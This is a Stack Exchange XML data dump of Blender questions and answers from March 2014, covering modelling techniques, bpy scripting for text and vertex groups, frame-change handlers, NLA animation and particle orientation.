  <row Id="8082" PostTypeId="1" AcceptedAnswerId="8086" CreationDate="2014-03-27T08:05:02.580" Score="2" ViewCount="927" Body="&lt;p&gt;I want to build a crane like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.3dcadbrowser.com/th/1/3/3597.jpg&quot; rel=&quot;nofollow&quot;&gt;http://www.3dcadbrowser.com/th/1/3/3597.jpg&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But I have no clue on how to approach all those pipes without going crazy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone have suggestions on how to build it?&lt;/p&gt;&#xA;" OwnerUserId="2923" LastActivityDate="2014-03-27T09:37:21.713" Title="Building a 3D crane" Tags="&lt;modeling&gt;&lt;workflow&gt;" AnswerCount="1" CommentCount="0" ClosedDate="2014-03-27T16:55:12.490" ContentLicense="CC BY-SA 3.0" />
  <row Id="8083" PostTypeId="2" ParentId="6288" CreationDate="2014-03-27T08:58:31.887" Score="4" Body="&lt;p&gt;As ideasman42 pointed out, you must replace it with a new string since &lt;a href=&quot;https://stackoverflow.com/a/3861034/2223706&quot;&gt;strings are &lt;em&gt;immutable&lt;/em&gt; in Python&lt;/a&gt;.  But here's a workaround.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Delete single character&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This will delete the third character&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;cursor = 2&#xA;ob = bpy.context.scene.objects['Text']&#xA;text = ob.data.body&#xA;ob.data.body = text[:cursor] + text[cursor+1:]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;where I've used &lt;a href=&quot;https://stackoverflow.com/questions/509211/pythons-slice-notation&quot;&gt;slicing&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Insert single character&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This will insert 'z' after second character&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;cursor = 2&#xA;new_char = 'z'&#xA;ob = bpy.context.scene.objects['Text']&#xA;text = ob.data.body&#xA;ob.data.body = text[:cursor] + new_char + text[cursor:]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1112" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:20.630" LastActivityDate="2014-03-27T08:58:31.887" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8085" PostTypeId="2" ParentId="8075" CreationDate="2014-03-27T09:37:18.430" Score="12" Body="&lt;p&gt;What you basically want is something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;ob = bpy.data.objects[&quot;Cube&quot;]&#xA;gi = ob.vertex_groups[&quot;Group&quot;].index # get group index&#xA;for v in ob.data.vertices:&#xA;  for g in v.groups:&#xA;    if g.group == gi: # compare with index in VertexGroupElement&#xA;      v.co[0] = 5&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_70_release/bpy.types.MeshVertex.html#bpy.types.MeshVertex.groups&quot;&gt;&lt;code&gt;v.groups&lt;/code&gt;&lt;/a&gt; is a collection of VertexGroupElements. &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_70_release/bpy.types.VertexGroupElement.html#bpy.types.VertexGroupElement&quot;&gt;VertexGroupElement&lt;/a&gt; contains group (as index) and weight (as float [0,1]).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_70_release/bpy.types.bpy_prop_collection.html#bpy.types.bpy_prop_collection&quot;&gt;&lt;code&gt;find&lt;/code&gt;&lt;/a&gt; can not find anything, because v.groups does not contain any keys.&lt;/p&gt;&#xA;" OwnerUserId="2859" LastEditorUserId="2859" LastEditDate="2014-03-27T10:20:30.653" LastActivityDate="2014-03-27T10:20:30.653" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8086" PostTypeId="2" ParentId="8082" CreationDate="2014-03-27T09:37:21.713" Score="5" Body="&lt;p&gt;You could model a single segment of the crane using only a few cylinders:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/TYOQ4.png&quot; alt=&quot;enter image description here&quot;&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;And add an &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modifiers/Generate/Array&quot; rel=&quot;noreferrer&quot;&gt;&lt;em&gt;Array Modifier&lt;/em&gt;&lt;/a&gt; as shown here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/LVvDZ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="29" LastActivityDate="2014-03-27T09:37:21.713" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8087" PostTypeId="2" ParentId="7904" CreationDate="2014-03-27T10:04:11.097" Score="24" Body="&lt;p&gt;Building off the answer in &lt;a href=&quot;https://blender.stackexchange.com/a/3335/1112&quot;&gt;how to animate string properties&lt;/a&gt;, here's a solution.  You can insert the following code in the Text Editor and hit &lt;code&gt;Run Script&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Example: display current frame&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;Assuming your text object is called 'Text', this will have it read the current frame:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;scene = bpy.context.scene&#xA;obj = scene.objects['Text']&#xA;&#xA;def recalculate_text(scene):&#xA;    obj.data.body = 'Current frame: ' + str(scene.frame_current)&#xA;&#xA;bpy.app.handlers.frame_change_pre.append(recalculate_text)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The last line just causes the &lt;code&gt;recalculate_text&lt;/code&gt; function to be run each time the frame is changed (&lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_60_6/bpy.app.handlers.html&quot; rel=&quot;noreferrer&quot;&gt;more&lt;/a&gt; on Application Handlers).&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Example: distance travelled by object&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;To have a text showing the distance travelled by 'Cube':&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;scene = bpy.context.scene&#xA;obj = scene.objects['Text']&#xA;&#xA;def recalculate_text(scene):&#xA;    x = scene.objects['Cube'].location[0]&#xA;    obj.data.body = 'Distance in x-direction: {0:.1f} meters'.format(x)&#xA;&#xA;bpy.app.handlers.frame_change_pre.append(recalculate_text)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;where I've used &lt;a href=&quot;http://docs.python.org/3.4/tutorial/inputoutput.html&quot; rel=&quot;noreferrer&quot;&gt;Python's string formatting&lt;/a&gt; to make distance only display one decimal place.&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Example: time elapsed&lt;/h1&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;scene = bpy.context.scene&#xA;obj = scene.objects['Text']&#xA;&#xA;def recalculate_text(scene):&#xA;    fps = scene.render.fps / scene.render.fps_base  # actual framerate&#xA;    obj.data.body = 'Elapsed time: {0:.1f} seconds'.format(scene.frame_current/fps)&#xA;&#xA;bpy.app.handlers.frame_change_pre.append(recalculate_text)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.youtube.com/watch?v=LNsDh-VsPNc&amp;amp;feature=youtu.be&quot; rel=&quot;noreferrer&quot;&gt;Demo video&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1112" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:41.900" LastActivityDate="2016-11-19T02:52:30.567" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8088" PostTypeId="1" AcceptedAnswerId="8094" CreationDate="2014-03-27T10:19:05.770" Score="4" ViewCount="11945" Body="&lt;p&gt;Can BGE games be built for mobile platforms? (Android/iOS)? If not, is support planned?&lt;/p&gt;&#xA;" OwnerUserId="2801" LastEditorUserId="12" LastEditDate="2014-03-27T16:53:35.747" LastActivityDate="2018-04-15T23:10:52.037" Title="Does the Blender Game Engine support mobile platforms?" Tags="&lt;game-engine&gt;" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="8090" PostTypeId="2" ParentId="7912" CreationDate="2014-03-27T12:33:25.627" Score="4" Body="&lt;p&gt;Oh dear, I feel kind of stupid but also so glad I worked it out.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So this is the setup that works.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Action 1: walk - in-place walk cycle&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Action 2: moveForward - moving the root bone in time with the feet to avoid slipping. F-Curve modifier set to repeat with offset.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Convert both animated actions to action strips on the NLA editor. Here's where I was going wrong and what to do right. I was setting the repeat value on both strips. This worked for the walk cycle which has the same start and end frame so the &quot;snapping back&quot; isn't noticable but caused the character to walk forward then snap back at the end of each forward motion cycle. In essence it was only repeating the first F-Curve and ignoring all the future repeats with offset. To fix this I set the repeat value on moveForward to 1 and then set the end frame to what I wanted. This then allows the character to keep moving forward, applying any extrapolated future F-curve repeats to the motion. This also allows for extra animations to be layered on top.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example if you have a walk cycle that's 25 frames long and you want the character to walk straight for 10 seconds (assuming 25 fps) you can set the walk action repeats to 10 and the end frame for the moveForward action to 250 frames (leaving the repeats and scale to 1).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I now realise that this is pretty much exactly what Adhi said in the other question I linked to but it didn't quite make sense to me for some reason. Anyway. I hope this will prove a useful tip for anyone else stuck on a similar looping animation problem.&lt;/p&gt;&#xA;" OwnerUserId="1714" LastActivityDate="2014-03-27T12:33:25.627" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8091" PostTypeId="1" AcceptedAnswerId="8099" CreationDate="2014-03-27T13:24:49.010" Score="0" ViewCount="1145" Body="&lt;p&gt;I'm modeling a fish with Bézier curves, but now I have a body of rotation and don't know how to carve out the tail.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have searched Google and YouTube for the problem, but the nearest thing I have found is a tutorial for creating trees, but with this method I don't get a sharp edge between the tails.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically, I'd be happy if I could cut away the surplus material at the tail from the body of rotation with the bisect tool. The tail would be angular, so I'd need some bisect too that could cut spherically.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you have a whole different solution I'd be happy to hear it! Maybe with nurbs-surface-circles or something like that??&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have looked at &lt;a href=&quot;http://wiki.blender.org/index.php/Doc%3aDE/2.4/Manual/Modeling/Curves#Oberfl.C3.A4chen_aus_Curves_erzeugen_.5BSkinning.5D&quot; rel=&quot;nofollow&quot;&gt;this tutorial (in German)&lt;/a&gt;, and in that case I would need to align the nurbs-circle-surfaces to a curve. This method (if possible) would be the very best one!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance for helping me! :)&lt;/p&gt;&#xA;" OwnerUserId="2926" LastEditorUserId="2217" LastEditDate="2014-06-26T22:01:29.520" LastActivityDate="2014-06-29T09:22:53.480" Title="Modeling a fish with curves - complication at tail" Tags="&lt;modeling&gt;&lt;bezier-curves&gt;&lt;nurbs-surface&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8092" PostTypeId="2" ParentId="8019" CreationDate="2014-03-27T14:00:42.407" Score="2" Body="&lt;p&gt;I was unable do this using the technique above, because I could not figure out how to prevent re-setting of the location.  Therefore, I used the following technique:  create a single object, copy it with ob.copy, put copies into scene object list, and then update the scene.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.ops.mesh.primitive_cylinder_add(vertices=numVertices, radius=columnSize,&#xA;    depth=height,location=loc)&#xA;ob = bpy.context.object&#xA;obs = []&#xA;sce = bpy.context.scene&#xA;&#xA;f = open('input.data', 'r')&#xA;for line in f:&#xA;    values = line.split()&#xA;&#xA;    x = float(values[1]) / scaleXY&#xA;    y = float(values[2]) / scaleXY&#xA;    height = float(values[3]) / scaleHeight&#xA;&#xA;    copy = ob.copy()&#xA;    copy.location += Vector((x,y, 0))&#xA;    # copy.data = copy.data.copy() &#xA;    copy.scale.x = copy.scale.x * height / 2 &#xA;    copy.scale.y = copy.scale.y * height / 2 &#xA;    copy.scale.z = copy.scale.z * height&#xA;    obs.append(copy)&#xA;&#xA;for ob in obs:&#xA;    sce.objects.link(ob)&#xA;&#xA;sce.update() &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2895" LastActivityDate="2014-03-27T14:00:42.407" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8093" PostTypeId="2" ParentId="8073" CreationDate="2014-03-27T14:14:28.257" Score="2" Body="&lt;p&gt;The problem is the last argument of setSource, which isn´t documented. Looking at the blender source code this argument is named &quot;apply&quot; and expects a boolean.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;shader.setSource(vs, fs, True)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;should fix the problem. Note, that you should also switch to textured view mode.&lt;/p&gt;&#xA;" OwnerUserId="2859" LastActivityDate="2014-03-27T14:14:28.257" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8094" PostTypeId="2" ParentId="8088" CreationDate="2014-03-27T14:31:54.830" Score="3" Body="&lt;p&gt;Currently out of the box, there is no support. Work has been done to port blender to android, link &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Introduction/Installing_Blender/Android&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;, &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Game_Engine/Android/Building_Blender_for_Android&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;, and &lt;a href=&quot;http://www.blendernation.com/2012/06/26/blenderplayer-for-android/&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;. You will have to build a mobile version yourself.&lt;/p&gt;&#xA;" OwnerUserId="2217" LastEditorUserId="1165" LastEditDate="2014-06-28T23:01:19.067" LastActivityDate="2014-06-28T23:01:19.067" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8095" PostTypeId="2" ParentId="6288" CreationDate="2014-03-27T15:58:36.970" Score="2" Body="&lt;p&gt;It's possible using operators.  Here's a simple example,&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;bpy.ops.object.editmode_toggle()&#xA;bpy.ops.font.move(type='PREVIOUS_CHARACTER')&#xA;bpy.ops.font.delete(type='PREVIOUS_OR_SELECTION')&#xA;bpy.ops.font.text_insert(text=&quot;s&quot;, accent=False)&#xA;bpy.ops.font.move(type='NEXT_CHARACTER')&#xA;bpy.ops.object.editmode_toggle()  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Running this on the default text object changes &quot;Text&quot; to &quot;Test&quot;.&#xA;Edit: I just saw this is for the game engine, I'm not sure if this code will work there.&lt;/p&gt;&#xA;" OwnerUserId="2699" LastActivityDate="2014-03-27T15:58:36.970" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8097" PostTypeId="1" AcceptedAnswerId="8098" CreationDate="2014-03-27T17:38:55.250" Score="3" ViewCount="410" Body="&lt;p&gt;When building a game made with the Blender Game Engine, is the resulting program native? If not what is it compiled into?&lt;/p&gt;&#xA;" OwnerUserId="2801" LastEditorUserId="12" LastEditDate="2014-03-27T20:56:19.470" LastActivityDate="2014-03-27T20:56:19.470" Title="Is a &quot;Blender Game Engine&quot; game built into native code or something higher level like python?" Tags="&lt;game-engine&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8098" PostTypeId="2" ParentId="8097" CreationDate="2014-03-27T17:56:44.503" Score="4" Body="&lt;p&gt;The binary that executes the game (i.e. Blenderplayer) is native code compiled from a combination of C and C++. I don't think there are any Python based Blender operators that run when you play a game. So yes it's completely 'native'.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you choose to extend the game with Python script, which will be interpreted at runtime with a Python 3.3 (as of Blender 2.70) interpreter, then it will be a mix of 'native' component and interpreted scripts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unless you are doing some serious Python coding, the performance overhead of Python is very small.&lt;/p&gt;&#xA;" OwnerUserId="41" LastActivityDate="2014-03-27T17:56:44.503" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8099" PostTypeId="2" ParentId="8091" CreationDate="2014-03-27T18:03:59.090" Score="1" Body="&lt;p&gt;Why not give sculpting a try? You could make something close to what you want and touch up the details in sculpt...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;heres a link to a video instructing how to use dynamic topology (and by extension sculpt mode)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.youtube.com/watch?v=opsKPCCFbr4&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.youtube.com/watch?v=opsKPCCFbr4&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;docs on sculpting&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modeling/Meshes/Editing/Sculpt_Mode&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modeling/Meshes/Editing/Sculpt_Mode&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/2Ronj.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;docs on dynamic topology &lt;/p&gt;&#xA;&#xA;&lt;p&gt;(note that this feature has been changed in 2.7, it can now be found under the header labelled &quot;dynotopo&quot;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wiki.blender.org/index.php/Dev:Ref/Release_Notes/2.66/Dynamic_Topology_Sculpting&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://wiki.blender.org/index.php/Dev:Ref/Release_Notes/2.66/Dynamic_Topology_Sculpting&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/bIsjM.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2801" LastEditorUserId="2801" LastEditDate="2014-04-16T16:59:52.927" LastActivityDate="2014-04-16T16:59:52.927" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8100" PostTypeId="1" AcceptedAnswerId="8102" CreationDate="2014-03-27T18:07:19.530" Score="5" ViewCount="4498" Body="&lt;p&gt;I want to join the bottom part of that octagon in the plane below it (both are selected in the image). I also want to keep the size of both of them, I just want to insert the octagon in the plane, with the same X, Y coordinate and the Z coordinate of the plane.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/eQAFJ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="943" LastActivityDate="2014-03-27T21:56:47.537" Title="Join 2 faces with different shapes together" Tags="&lt;modeling&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8101" PostTypeId="1" AcceptedAnswerId="13421" CreationDate="2014-03-27T18:42:34.427" Score="0" ViewCount="220" Body="&lt;p&gt;When I add an image to a video in Blender, a thin white line appears under it at the bottom border, and stays there no matter how much I translate the image.  I checked the image to make sure it wasn't part of that.  It's there a reason for this?&lt;/p&gt;&#xA;" OwnerUserId="2883" LastActivityDate="2014-06-23T13:01:24.403" Title="Line appears under image in VSE" Tags="&lt;image&gt;&lt;video-sequence-editor&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8102" PostTypeId="2" ParentId="8100" CreationDate="2014-03-27T19:04:48.113" Score="4" Body="&lt;ul&gt;&#xA;&lt;li&gt;Drop the bottom face of the octagon down to the same z location as the plane. &lt;/li&gt;&#xA;&lt;li&gt;Then delete the faces on the plane and bottom of the octagon. &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;You can then select the edges of the bottom of the octagon, as well as the edges of the plane, and &lt;kbd&gt;F&lt;/kbd&gt; to create a face (which would be an n-gon)... &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Then with the face you just created selected, press &lt;kbd&gt;Ctrl&lt;/kbd&gt;-&lt;kbd&gt;F&lt;/kbd&gt;to bring up the face menu and select &quot;triangulate faces&quot;... &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;This will result in triangle faces connecting the outer edge of the octagon to the inner edge of the plane. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are not happy with triangular faces, you can select the faces in question and use &lt;kbd&gt;Ctrl&lt;/kbd&gt;-&lt;kbd&gt;F&lt;/kbd&gt; &gt; &lt;em&gt;Tris to quads&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: you may have to join the objects first by selecting both, pressing spacebar, and searching for &quot;join&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT 2: Upon testing my explanation, it didn't work for me as intended... i will leave it there for posterity but ill post the way i did it that DID work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1: extend the bottom face of the octagon down &lt;strong&gt;JUST BELOW&lt;/strong&gt; the face of the secondary mesh&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2: ensure that only the octagon is selected and add a boolean modifier to it [Properties Window &gt; Modifiers &gt; Boolean] &lt;/p&gt;&#xA;&#xA;&lt;p&gt;3: Set the &quot;Operation&quot; to &quot;Union&quot; and the &quot;Object&quot; to the mesh in question.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;4: Apply the modifier&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;note that the boolean modifier will create a copy of the &quot;Object&quot; you selected and work with that, so you may need to delete the unmodified mesh that is left behind from the modifier...&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;good luck, and sorry if my first answer didn't work =(&lt;/p&gt;&#xA;" OwnerUserId="2801" LastEditorUserId="2801" LastEditDate="2014-03-27T21:56:47.537" LastActivityDate="2014-03-27T21:56:47.537" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8103" PostTypeId="2" ParentId="8067" CreationDate="2014-03-27T19:44:34.493" Score="0" Body="&lt;p&gt;For every python object there are two functions that everybody should know about - &lt;code&gt;dir&lt;/code&gt; and &lt;code&gt;help&lt;/code&gt; they do what they say on the box so for anything you can type in the console &lt;code&gt;dir(theobject)&lt;/code&gt; to get a list of methods and &lt;code&gt;help(theobject.somemethod)&lt;/code&gt; to get the help information.  These are python builtin functions that should work everywhere.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that any members that start with one or more underscores (_) are &lt;strong&gt;private&lt;/strong&gt; and should not be relied on to be available or the same in future or later versions.&lt;/p&gt;&#xA;" OwnerUserId="963" LastActivityDate="2014-03-27T19:44:34.493" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8104" PostTypeId="1" AcceptedAnswerId="8106" CreationDate="2014-03-27T20:39:21.800" Score="10" ViewCount="4202" Body="&lt;p&gt;I'm trying to create a mini-world with (among other things) trees on it. I have created an icosphere, modeled several trees and put them in a group.&lt;br&gt;&#xA;Next I added a particle system to the sphere, and chose hair. In the &quot;render&quot; section I selected &lt;em&gt;Group&lt;/em&gt; and the name of the group I created. As expected the trees show up but they're all oriented in the same direction, while I would like them to pop up just like the default hairs do (along the normal of the individual faces).&lt;br&gt;&#xA;I tried fiddling with all kinds of settings, had them oriented in all kind of ways (e.g. towards the &quot;north pole&quot;). I also tried using the emitter instead of hair setting but without success as well.&lt;/p&gt;&#xA;" OwnerUserId="2933" LastEditorUserId="2217" LastEditDate="2015-01-13T15:21:22.563" LastActivityDate="2015-01-13T15:21:22.563" Title="Rotate (group) objects outwards on spherical particle system?" Tags="&lt;particles&gt;&lt;groups&gt;" AnswerCount="2" CommentCount="2" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8105" PostTypeId="2" ParentId="8104" CreationDate="2014-03-27T20:55:47.960" Score="5" Body="&lt;p&gt;Try rotating the source objects instead of trying to correct the rotation in the particle settings.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that the particle position is based on the &lt;em&gt;Object origin&lt;/em&gt;, so make sure your origins are at the bases of your trees.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By default object rotation will not affect particles, so either:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Rotate the tree objects in edit mode, or rotate in object mode (individual origins is useful for rotating multiple objects at once) and then apply the rotation (&lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;A&lt;/kbd&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Without &lt;em&gt;rotation&lt;/em&gt; enabled in the particle settings, it appears that objects are oriented with the &lt;code&gt;+Y&lt;/code&gt; direction facing out (with &lt;em&gt;rotation&lt;/em&gt; enabled it is &lt;code&gt;+X&lt;/code&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/pxbnF.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Rotate in object mode and enable rotation in &lt;em&gt;Particle settings &gt; Render&lt;/em&gt; (as &lt;a href=&quot;https://blender.stackexchange.com/a/8106/599&quot;&gt;already mentioned by David&lt;/a&gt;)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h1&gt;Result:&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/a09hH.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:38.780" LastActivityDate="2014-03-28T05:47:07.633" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8106" PostTypeId="2" ParentId="8104" CreationDate="2014-03-27T21:07:24.070" Score="6" Body="&lt;p&gt;For your hair particle system, just click on the button &lt;code&gt;Rotation&lt;/code&gt; in the render panel of the particle settings.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/dLU8H.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then make sure your objects are pointing towards the &lt;code&gt;X&lt;/code&gt; axis. Other wise all your trees will point out from your planet, but they will not be pointing up.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/ECfQp.png&quot; alt=&quot;enter image description here&quot;&gt;.&lt;/p&gt;&#xA;" OwnerUserId="2217" LastActivityDate="2014-03-27T21:07:24.070" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8107" PostTypeId="1" AcceptedAnswerId="8109" CreationDate="2014-03-28T00:38:23.240" Score="9" ViewCount="3338" Body="&lt;p&gt;Is it possible to automate the sequencer so that each time I render an animation into image files in a folder, the newly rendered image files would be inputted into the sequencer in a specific arrangement or something like this?:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Load images 1-300 and place in sequencer&lt;/li&gt;&#xA;&lt;li&gt;Load images 1-300, again, and place after first image sequence&lt;/li&gt;&#xA;&lt;li&gt;Apply backwards effect to the second image sequence&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;If not an option in blender, is there a way to create a script to do this? Often I will rerender the same animation with a different setting or something, but every time I have to manually apply what was described above. I'm not necessarily asking for a solution specified to this example, but for all examples like this. Is there something that would work to automate this process?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help is appreciated. If what I am describing is unclear I can further describe it.&lt;/p&gt;&#xA;" OwnerUserId="783" LastActivityDate="2020-09-21T23:51:33.953" Title="How to automate blender video sequencer" Tags="&lt;scripting&gt;&lt;video-sequence-editor&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="4" ContentLicense="CC BY-SA 3.0" />
